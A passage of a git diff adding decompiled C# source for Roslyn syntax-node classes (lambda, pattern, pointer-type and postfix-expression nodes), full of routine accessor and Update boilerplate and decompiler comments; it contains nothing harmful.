//IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAsyncKeyword(asyncKeyword); + } + + public new ParenthesizedLambdaExpressionSyntax WithAsyncKeyword(SyntaxToken asyncKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(asyncKeyword, ParameterList, ArrowToken, Block, ExpressionBody); + } + + public ParenthesizedLambdaExpressionSyntax Update(SyntaxToken asyncKeyword, ParameterListSyntax parameterList, SyntaxToken arrowToken, BlockSyntax? block, ExpressionSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(UpdateAsyncKeyword(asyncKeyword), parameterList, arrowToken, block, expressionBody); + } + + public ParenthesizedLambdaExpressionSyntax Update(SyntaxTokenList modifiers, ParameterListSyntax parameterList, SyntaxToken arrowToken, BlockSyntax? block, ExpressionSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, parameterList, arrowToken, block, expressionBody); + } + + public ParenthesizedLambdaExpressionSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, ParameterListSyntax parameterList, SyntaxToken arrowToken, BlockSyntax? block, ExpressionSyntax? expressionBody) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, modifiers, null, parameterList, arrowToken, block, expressionBody); + } + + internal ParenthesizedLambdaExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 2 => ((SyntaxNode)this).GetRed(ref returnType, 2), + 3 => ((SyntaxNode)this).GetRed(ref parameterList, 3), + 5 => ((SyntaxNode)this).GetRed(ref block, 5), + 6 => ((SyntaxNode)this).GetRed(ref expressionBody, 6), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 2 => returnType, + 3 => parameterList, + 5 => block, + 6 => expressionBody, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitParenthesizedLambdaExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitParenthesizedLambdaExpression(this); + } + + public ParenthesizedLambdaExpressionSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, TypeSyntax? returnType, ParameterListSyntax parameterList, SyntaxToken arrowToken, BlockSyntax? block, ExpressionSyntax? expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || returnType != ReturnType || parameterList != ParameterList || arrowToken != ArrowToken || block != Block || expressionBody != ExpressionBody) + { + ParenthesizedLambdaExpressionSyntax parenthesizedLambdaExpressionSyntax = SyntaxFactory.ParenthesizedLambdaExpression(attributeLists, modifiers, returnType, parameterList, arrowToken, block, expressionBody); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return parenthesizedLambdaExpressionSyntax; + } + return parenthesizedLambdaExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override LambdaExpressionSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new ParenthesizedLambdaExpressionSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, ReturnType, ParameterList, ArrowToken, Block, ExpressionBody); + } + + internal override AnonymousFunctionExpressionSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new ParenthesizedLambdaExpressionSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, ReturnType, ParameterList, ArrowToken, Block, ExpressionBody); + } + + public ParenthesizedLambdaExpressionSyntax WithReturnType(TypeSyntax? returnType) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, returnType, ParameterList, ArrowToken, Block, ExpressionBody); + } + + public ParenthesizedLambdaExpressionSyntax WithParameterList(ParameterListSyntax parameterList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, parameterList, ArrowToken, Block, ExpressionBody); + } + + internal override LambdaExpressionSyntax WithArrowTokenCore(SyntaxToken arrowToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithArrowToken(arrowToken); + } + + public new ParenthesizedLambdaExpressionSyntax WithArrowToken(SyntaxToken arrowToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, ParameterList, arrowToken, Block, ExpressionBody); + } + + internal override AnonymousFunctionExpressionSyntax WithBlockCore(BlockSyntax? block) + { + return WithBlock(block); + } + + public new ParenthesizedLambdaExpressionSyntax WithBlock(BlockSyntax? block) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, ParameterList, ArrowToken, block, ExpressionBody); + } + + internal override AnonymousFunctionExpressionSyntax WithExpressionBodyCore(ExpressionSyntax? expressionBody) + { + return WithExpressionBody(expressionBody); + } + + public new ParenthesizedLambdaExpressionSyntax WithExpressionBody(ExpressionSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, ParameterList, ArrowToken, Block, expressionBody); + } + + internal override LambdaExpressionSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new ParenthesizedLambdaExpressionSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override AnonymousFunctionExpressionSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new ParenthesizedLambdaExpressionSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + public ParenthesizedLambdaExpressionSyntax AddParameterListParameters(params ParameterSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithParameterList(ParameterList.WithParameters(ParameterList.Parameters.AddRange((IEnumerable)items))); + } + + internal override AnonymousFunctionExpressionSyntax AddBlockAttributeListsCore(params AttributeListSyntax[] items) + { + return AddBlockAttributeLists(items); + } + + public new ParenthesizedLambdaExpressionSyntax AddBlockAttributeLists(params AttributeListSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BlockSyntax blockSyntax = Block ?? SyntaxFactory.Block(); + return WithBlock(blockSyntax.WithAttributeLists(blockSyntax.AttributeLists.AddRange((IEnumerable)items))); + } + + internal override AnonymousFunctionExpressionSyntax AddBlockStatementsCore(params StatementSyntax[] items) + { + return AddBlockStatements(items); + } + + public new ParenthesizedLambdaExpressionSyntax AddBlockStatements(params StatementSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BlockSyntax blockSyntax = Block ?? SyntaxFactory.Block(); + return WithBlock(blockSyntax.WithStatements(blockSyntax.Statements.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ParenthesizedPatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ParenthesizedPatternSyntax.cs new file mode 100644 index 0000000..960fdf6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ParenthesizedPatternSyntax.cs @@ -0,0 +1,89 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ParenthesizedPatternSyntax : PatternSyntax +{ + private PatternSyntax? pattern; + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParenthesizedPatternSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).Position, 0); + + public PatternSyntax Pattern => ((SyntaxNode)this).GetRed(ref pattern, 1); + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParenthesizedPatternSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal ParenthesizedPatternSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref pattern, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)pattern; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitParenthesizedPattern(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitParenthesizedPattern(this); + } + + public ParenthesizedPatternSyntax Update(SyntaxToken openParenToken, PatternSyntax pattern, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken != OpenParenToken || pattern != Pattern || closeParenToken != CloseParenToken) + { + ParenthesizedPatternSyntax parenthesizedPatternSyntax = SyntaxFactory.ParenthesizedPattern(openParenToken, pattern, closeParenToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return parenthesizedPatternSyntax; + } + return parenthesizedPatternSyntax.WithAnnotations(annotations); + } + return this; + } + + public ParenthesizedPatternSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(openParenToken, Pattern, CloseParenToken); + } + + public ParenthesizedPatternSyntax WithPattern(PatternSyntax pattern) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, pattern, CloseParenToken); + } + + public ParenthesizedPatternSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, Pattern, closeParenToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ParenthesizedVariableDesignationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ParenthesizedVariableDesignationSyntax.cs new file mode 100644 index 0000000..d83c6d7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ParenthesizedVariableDesignationSyntax.cs @@ -0,0 +1,118 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ParenthesizedVariableDesignationSyntax : VariableDesignationSyntax +{ + private SyntaxNode? variables; + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParenthesizedVariableDesignationSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).Position, 0); + + public SeparatedSyntaxList Variables + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref variables, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParenthesizedVariableDesignationSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal ParenthesizedVariableDesignationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref variables, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return variables; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitParenthesizedVariableDesignation(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitParenthesizedVariableDesignation(this); + } + + public ParenthesizedVariableDesignationSyntax Update(SyntaxToken openParenToken, SeparatedSyntaxList variables, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken != OpenParenToken || variables != Variables || closeParenToken != CloseParenToken) + { + ParenthesizedVariableDesignationSyntax parenthesizedVariableDesignationSyntax = SyntaxFactory.ParenthesizedVariableDesignation(openParenToken, variables, closeParenToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return parenthesizedVariableDesignationSyntax; + } + return parenthesizedVariableDesignationSyntax.WithAnnotations(annotations); + } + return this; + } + + public ParenthesizedVariableDesignationSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(openParenToken, Variables, CloseParenToken); + } + + public ParenthesizedVariableDesignationSyntax WithVariables(SeparatedSyntaxList variables) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, variables, CloseParenToken); + } + + public ParenthesizedVariableDesignationSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, Variables, closeParenToken); + } + + public ParenthesizedVariableDesignationSyntax AddVariables(params VariableDesignationSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithVariables(Variables.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PatternSyntax.cs new file mode 100644 index 0000000..2c757f8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PatternSyntax.cs @@ -0,0 +1,11 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class PatternSyntax : ExpressionOrPatternSyntax +{ + internal PatternSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PointerTypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PointerTypeSyntax.cs new file mode 100644 index 0000000..d10cf5e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PointerTypeSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class PointerTypeSyntax : TypeSyntax +{ + private TypeSyntax? elementType; + + public TypeSyntax ElementType => ((SyntaxNode)this).GetRedAtZero(ref elementType); + + public SyntaxToken AsteriskToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PointerTypeSyntax)(object)((SyntaxNode)this).Green).asteriskToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + internal PointerTypeSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRedAtZero(ref elementType); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)elementType; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitPointerType(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitPointerType(this); + } + + public PointerTypeSyntax Update(TypeSyntax elementType, SyntaxToken asteriskToken) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (elementType != ElementType || asteriskToken != AsteriskToken) + { + PointerTypeSyntax pointerTypeSyntax = SyntaxFactory.PointerType(elementType, asteriskToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return pointerTypeSyntax; + } + return pointerTypeSyntax.WithAnnotations(annotations); + } + return this; + } + + public PointerTypeSyntax WithElementType(TypeSyntax elementType) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(elementType, AsteriskToken); + } + + public PointerTypeSyntax WithAsteriskToken(SyntaxToken asteriskToken) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(ElementType, asteriskToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PositionalPatternClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PositionalPatternClauseSyntax.cs new file mode 100644 index 0000000..23d9ce0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PositionalPatternClauseSyntax.cs @@ -0,0 +1,118 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class PositionalPatternClauseSyntax : CSharpSyntaxNode +{ + private SyntaxNode? subpatterns; + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PositionalPatternClauseSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).Position, 0); + + public SeparatedSyntaxList Subpatterns + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref subpatterns, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PositionalPatternClauseSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal PositionalPatternClauseSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref subpatterns, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return subpatterns; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitPositionalPatternClause(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitPositionalPatternClause(this); + } + + public PositionalPatternClauseSyntax Update(SyntaxToken openParenToken, SeparatedSyntaxList subpatterns, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken != OpenParenToken || subpatterns != Subpatterns || closeParenToken != CloseParenToken) + { + PositionalPatternClauseSyntax positionalPatternClauseSyntax = SyntaxFactory.PositionalPatternClause(openParenToken, subpatterns, closeParenToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return positionalPatternClauseSyntax; + } + return positionalPatternClauseSyntax.WithAnnotations(annotations); + } + return this; + } + + public PositionalPatternClauseSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(openParenToken, Subpatterns, CloseParenToken); + } + + public PositionalPatternClauseSyntax WithSubpatterns(SeparatedSyntaxList subpatterns) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, subpatterns, CloseParenToken); + } + + public PositionalPatternClauseSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, Subpatterns, closeParenToken); + } + + public PositionalPatternClauseSyntax AddSubpatterns(params SubpatternSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithSubpatterns(Subpatterns.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PostfixUnaryExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PostfixUnaryExpressionSyntax.cs new file mode 100644 index 0000000..5f47dd1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PostfixUnaryExpressionSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class PostfixUnaryExpressionSyntax : ExpressionSyntax +{ + private ExpressionSyntax? operand; + + public ExpressionSyntax Operand => ((SyntaxNode)this).GetRedAtZero(ref operand); + + public SyntaxToken OperatorToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PostfixUnaryExpressionSyntax)(object)((SyntaxNode)this).Green).operatorToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + internal PostfixUnaryExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRedAtZero(ref operand); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)operand; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitPostfixUnaryExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitPostfixUnaryExpression(this); + } + + public PostfixUnaryExpressionSyntax Update(ExpressionSyntax operand, SyntaxToken operatorToken) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (operand != Operand || operatorToken != OperatorToken) + { + PostfixUnaryExpressionSyntax postfixUnaryExpressionSyntax = SyntaxFactory.PostfixUnaryExpression(Kind(), operand, operatorToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return postfixUnaryExpressionSyntax; + } + return 